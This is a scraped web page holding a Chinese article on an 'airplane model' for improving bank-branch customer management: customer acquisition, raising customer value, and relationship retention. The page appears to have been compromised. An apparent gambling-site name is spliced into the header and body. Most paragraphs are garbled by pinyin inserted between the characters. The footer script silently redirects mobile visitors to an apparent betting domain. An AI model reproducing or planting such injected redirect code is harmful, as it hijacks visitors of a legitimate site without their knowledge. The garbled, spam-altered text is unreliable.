ku游戏网站

今天是2021年(nian)7月31日 星期六,欢迎光临(lin)本站(zhan) 

客户经营

【原创】提升网点客户经营能力的“飞机模型”

文字:[大][中][小] 手机页面二维码 2020/3/6     浏览次数:    

银行通(tong)常(chang)是“带着产品去找客户”,比如上个月出了一款高利率的理财产品,银行就会针对目标客户群体打电话去推荐,或者为每个来办理业务的客户进行宣传推广,这其实仍然是“以产品为中心”的工作模式。社区金融提倡的应该是“为客户制作方案”,需要针对每一类型客户群体,去分析调查他们的需求,围绕他们的金融需求,提供理财规划方案。


在银(yin)行(xing)产(chan)(chan)品越(yue)(yue)来越(yue)(yue)同(tong)质(zhi)化的(de)(de)(de)今天,只注重短期的(de)(de)(de)、以(yi)产(chan)(chan)品销售为(wei)导向(xiang)的(de)(de)(de)各(ge)项业务活动将(jiang)越(yue)(yue)来越(yue)(yue)难以(yi)为(wei)继,需(xu)要银(yin)行(xing)真正将(jiang)目光从“以(yi)产(chan)(chan)品为(wei)中心”转为(wei)“以(yi)客(ke)户(hu)为(wei)中心”,围绕“对客(ke)户(hu)的(de)(de)(de)经营”来开展(zhan)各(ge)项活动。


下图为ku游戏网站提(ti)升网(wang)(wang)点(dian)(dian)(dian)客户(hu)(hu)经营能力(li)的(de)“飞机模(mo)型(xing)”,网(wang)(wang)点(dian)(dian)(dian)需要从(cong)如何增(zeng)加目标(biao)客户(hu)(hu)数量、增(zeng)加客户(hu)(hu)的(de)平均价(jia)值贡献、增(zeng)加客户(hu)(hu)关系的(de)持(chi)久性三方面来动脑筋,开展网(wang)(wang)点(dian)(dian)(dian)的(de)各(ge)项(xiang)(xiang)活动,并且将“飞机模(mo)型(xing)”中提(ti)升网(wang)(wang)点(dian)(dian)(dian)效能的(de)各(ge)项(xiang)(xiang)关键点(dian)(dian)(dian)分解到对(dui)网(wang)(wang)点(dian)(dian)(dian)和(he)网(wang)(wang)点(dian)(dian)(dian)员工的(de)各(ge)项(xiang)(xiang)考核中去。


提升网(wang)点客户经营(ying)能力(li)的“飞(fei)机模型”

增加(jia)目标客(ke)(ke)户数量的手段(duan)包(bao)括:网点(dian)揽客(ke)(ke)、电话邀约(yue)、沙龙活动、异业(ye)结盟(meng)(客(ke)(ke)户互换)、外拓营销、公私联动、客(ke)(ke)户转介(MGM)等(deng)。此外,还可以运(yun)用移动互联的工具,通过红包(bao)裂变、好友助(zhu)力等(deng)方(fang)式来吸引更多(duo)目标客(ke)(ke)户/银行“粉丝”。


增加客(ke)户(hu)(hu)(hu)(hu)的(de)(de)平均(jun)价(jia)值贡献,一(yi)方面要(yao)获取更多收入,另(ling)一(yi)方面需(xu)要(yao)降低(di)成本。提(ti)(ti)升(sheng)客(ke)户(hu)(hu)(hu)(hu)价(jia)值的(de)(de)工作包括:睡眠(mian)客(ke)户(hu)(hu)(hu)(hu)激活、客(ke)户(hu)(hu)(hu)(hu)等(deng)(deng)级提(ti)(ti)升(sheng)、中高(gao)(gao)端(duan)客(ke)户(hu)(hu)(hu)(hu)流失预(yu)警(jing)等(deng)(deng)。提(ti)(ti)高(gao)(gao)效率降低(di)成本的(de)(de)手(shou)段(duan)包括:通过交叉销售、向上销售等(deng)(deng)手(shou)段(duan)提(ti)(ti)高(gao)(gao)对客(ke)户(hu)(hu)(hu)(hu)的(de)(de)钱包份额;通过客(ke)户(hu)(hu)(hu)(hu)转介、家庭成员共(gong)享VIP待(dai)遇、公私联动等(deng)(deng)手(shou)段(duan)来低(di)成本获客(ke),此外(wai),借助网点的(de)(de)智能化设备、运用移动互(hu)联工具来降低(di)客(ke)户(hu)(hu)(hu)(hu)服务(wu)和维护的(de)(de)成本。


增加客(ke)(ke)(ke)户(hu)(hu)关系(xi)(xi)的(de)持久性的(de)工作包括:通(tong)过多产(chan)品、多渠道来“捆绑(bang)”客(ke)(ke)(ke)户(hu)(hu),争取(qu)成为客(ke)(ke)(ke)户(hu)(hu)或客(ke)(ke)(ke)户(hu)(hu)家庭的(de)主办行(xing)(xing),为客(ke)(ke)(ke)户(hu)(hu)进行(xing)(xing)全面(mian)的(de)资产(chan)配(pei)置,从而提(ti)升对客(ke)(ke)(ke)户(hu)(hu)的(de)黏度。通(tong)过为不(bu)同生命周期阶段(duan)的(de)客(ke)(ke)(ke)户(hu)(hu)提(ti)供不(bu)同的(de)产(chan)品包/产(chan)品配(pei)置来更(geng)好地服务客(ke)(ke)(ke)户(hu)(hu)。此外,通(tong)过客(ke)(ke)(ke)户(hu)(hu)关系(xi)(xi)管理的(de)各种手段(duan),如客(ke)(ke)(ke)户(hu)(hu)关怀、积分管理、客(ke)(ke)(ke)户(hu)(hu)忠诚计划等,加强和客(ke)(ke)(ke)户(hu)(hu)的(de)情感纽带和利(li)益纽带。

返回上一步
打印此页
13818970338
浏览手(shou)机站
微信二维(wei)码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();